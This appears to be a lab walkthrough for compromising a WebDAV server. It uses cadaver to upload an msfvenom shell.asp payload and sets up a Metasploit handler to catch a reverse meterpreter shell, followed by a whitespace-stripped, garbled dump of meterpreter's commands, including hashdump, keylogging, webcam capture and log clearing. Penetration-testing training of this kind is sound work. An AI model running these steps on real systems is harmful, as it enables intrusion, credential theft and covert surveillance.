It sends exploit files to the WebDAV server and automatically creates the directory and uploads different format types of files, then it tries to execute uploaded files and gives an output of successfully executed files.
Use Metasploit module to execute a payload and optain a reverse shell (meterpreter session) on the target system or use msfvenom to manually create a payload and use it with metasploit.
Use cadaver to upload the generated shell.asp payload to the /webdav directory
cadaverhttp://10.4.18.218/webdav
put/root/shell.asp
Before executing the shell.asp, setup a listener/handler that will receive the reverse connection from the target and send the stage that provides with a meterpreter session when executed.
Open a new terminal tab and run Metasploit with database support
servicepostgresqlstart&&msfconsole
Setup a Metasploit handler, using the same payload, LHOST, LPORT provided to msfvenom
meterpreter>helpCoreCommands=============CommandDescription------------------?HelpmenubackgroundBackgroundsthecurrentsessionbgAliasforbackgroundbgkillKillsabackgroundmeterpreterscriptbglistListsrunningbackgroundscriptsbgrunExecutesameterpreterscriptasabackgroundthreadchannelDisplaysinformationorcontrolactivechannelscloseClosesachanneldetachDetachthemeterpretersession (for http/https)disable_unicode_encodingDisablesencodingofunicodestringsenable_unicode_encodingEnablesencodingofunicodestringsexitTerminatethemeterpretersessionget_timeoutsGetthecurrentsessiontimeoutvaluesguidGetthesessionGUIDhelpHelpmenuinfoDisplaysinformationaboutaPostmoduleirbOpenaninteractiveRubyshellonthecurrentsessionloadLoadoneormoremeterpreterextensionsmachine_idGettheMSFIDofthemachineattachedtothesessionmigrateMigratetheservertoanotherprocesspivotManagepivotlistenerspryOpenthePrydebuggeronthecurrentsessionquitTerminatethemeterpretersessionreadReadsdatafromachannelresourceRunthecommandsstoredinafilerunExecutesameterpreterscriptorPostmodulesecure (Re)Negotiate TLV packet encryption on the sessionsessionsQuicklyswitchtoanothersessionset_timeoutsSetthecurrentsessiontimeoutvaluessleepForceMeterpretertogoquiet,thenre-establishsessionssl_verifyModifytheSSLcertificateverificationsettingtransportManagethetransportmechanismsuseDeprecatedaliasfor"load"uuidGettheUUIDforthecurrentsessionwriteWritesdatatoachannelStdapi:FilesystemCommands============================CommandDescription------------------catReadthecontentsofafiletothescreencdChangedirectorychecksumRetrievethechecksumofafilecpCopysourcetodestinationdelDeletethespecifiedfiledirListfiles (alias forls)downloadDownloadafileordirectoryeditEditafilegetlwdPrintlocalworkingdirectorygetwdPrintworkingdirectorylcdChangelocalworkingdirectoryllsListlocalfileslpwdPrintlocalworkingdirectorylsListfilesmkdirMakedirectorymvMovesourcetodestinationpwdPrintworkingdirectoryrmDeletethespecifiedfilermdirRemovedirectorysearchSearchforfilesshow_mountListallmountpoints/logicaldrivesuploadUploadafileordirectoryStdapi:NetworkingCommands===========================CommandDescription------------------arpDisplaythehostARPcachegetproxyDisplaythecurrentproxyconfigurationifconfigDisplayinterfacesipconfigDisplayinterfacesnetstatDisplaythenetworkconnectionsportfwdForwardalocalporttoaremoteserviceresolveResolveasetofhostnamesonthetargetrouteViewandmodifytheroutingtableStdapi:SystemCommands=======================CommandDescription------------------clearevCleartheeventlogdrop_tokenRelinquishesanyactiveimpersonationtoken.executeExecuteacommandgetenvGetoneormoreenvironmentvariablevaluesgetpidGetthecurrentprocessidentifiergetprivsAttempttoenableallprivilegesavailabletothecurrentprocessgetsidGettheSIDoftheuserthattheserverisrunningasgetuidGettheuserthattheserverisrunningaskillTerminateaprocesslocaltimeDisplaysthetargetsystemlocaldateandtimepgrepFilterprocessesbynamepkillTerminateprocessesbynamepsListrunningprocessesrebootRebootstheremotecomputerregModifyandinteractwiththeremoteregistryrev2selfCallsRevertToSelf() ontheremotemachineshellDropintoasystemcommandshellshutdownShutsdowntheremotecomputersteal_tokenAttemptstostealanimpersonationtokenfromthetargetprocesssuspendSuspendsorresumesalistofprocessessysinfoGetsinformationabouttheremotesystem,suchasOSStdapi:UserinterfaceCommands===============================CommandDescription------------------enumdesktopsListallaccessibledesktopsandwindowstationsgetdesktopGetthecurrentmeterpreterdesktopidletimeReturnsthenumberofsecondstheremoteuserhasbeenidlekeyboard_sendSendkeystrokeskeyeventSendkeyeventskeyscan_dumpDumpthekeystrokebufferkeyscan_startStartcapturingkeystrokeskeyscan_stopStopcapturingkeystrokesmouseSendmouseeventsscreenshareWatchtheremoteuserdesktopinrealtimescreenshotGrabascreenshotoftheinteractivedesktopsetdesktopChangethemeterpreterscurrentdesktopuictlControlsomeoftheuserinterfacecomponentsStdapi:WebcamCommands=======================CommandDescription------------------record_micRecordaudiofromthedefaultmicrophoneforXsecondswebcam_chatStartavideochatwebcam_listListwebcamswebcam_snapTakeasnapshotfromthespecifiedwebcamwebcam_streamPlayavideostreamfromthespecifiedwebcamStdapi:AudioOutputCommands=============================CommandDescription------------------playplayawaveformaudiofile (.wav) on the target systemPriv:ElevateCommands======================CommandDescription------------------getsystemAttempttoelevateyourprivilegetothatoflocalsystem.Priv:PassworddatabaseCommands================================CommandDescription------------------hashdumpDumpsthecontentsoftheSAMdatabasePriv:TimestompCommands========================CommandDescription------------------timestompManipulatefileMACEattributes
